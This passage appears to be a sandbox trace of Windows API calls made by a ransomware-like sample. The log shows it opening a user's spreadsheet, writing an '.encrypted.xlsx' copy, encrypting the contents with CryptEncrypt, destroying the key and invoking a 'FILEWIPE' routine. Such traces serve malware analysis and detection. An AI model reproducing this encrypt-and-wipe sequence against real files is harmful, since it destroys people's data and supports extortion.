"c:\\users\\5jghkoaofdp\\documents\\vlxre2epcij.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.863] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.863] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.863] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.863] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.863] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.863] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0025.863] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\vlxre2epcij.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.864] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.864] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.864] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.864] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.865] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.865] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6f5a, lpOverlapped=0x0) returned 1 [0025.866] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.868] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.868] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.868] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.868] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.868] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.868] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.869] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.869] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.869] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.869] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.869] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.869] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.870] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.870] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.870] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.871] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.871] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.871] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6f5a, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6f60) returned 1 [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.871] CharLowerBuffW (in: lpsz="byte[28513]", cchLength=0xb | out: lpsz="byte[28513]") returned 0xb [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.871] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.871] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.872] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.872] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4387f10*, pdwDataLen=0xe8f3dfdf68*=0x6f5a, dwBufLen=0x6f60 | out: pbData=0xe8f4387f10*, pdwDataLen=0xe8f3dfdf68*=0x6f60) returned 1 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.872] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.872] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.872] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.872] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.875] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.875] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.875] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.875] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.875] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.875] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.875] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.875] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.875] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.876] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.876] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.876] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.876] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.876] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.876] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.876] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.876] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.876] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.876] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.876] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.876] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.876] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0025.877] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.877] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.877] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.877] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.877] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.877] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.877] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.877] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.878] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.878] CharLowerBuffW (in: lpsz="byte[28506]", cchLength=0xb | out: lpsz="byte[28506]") returned 0xb [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.878] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.878] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.878] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.878] PeekMessageW (in: 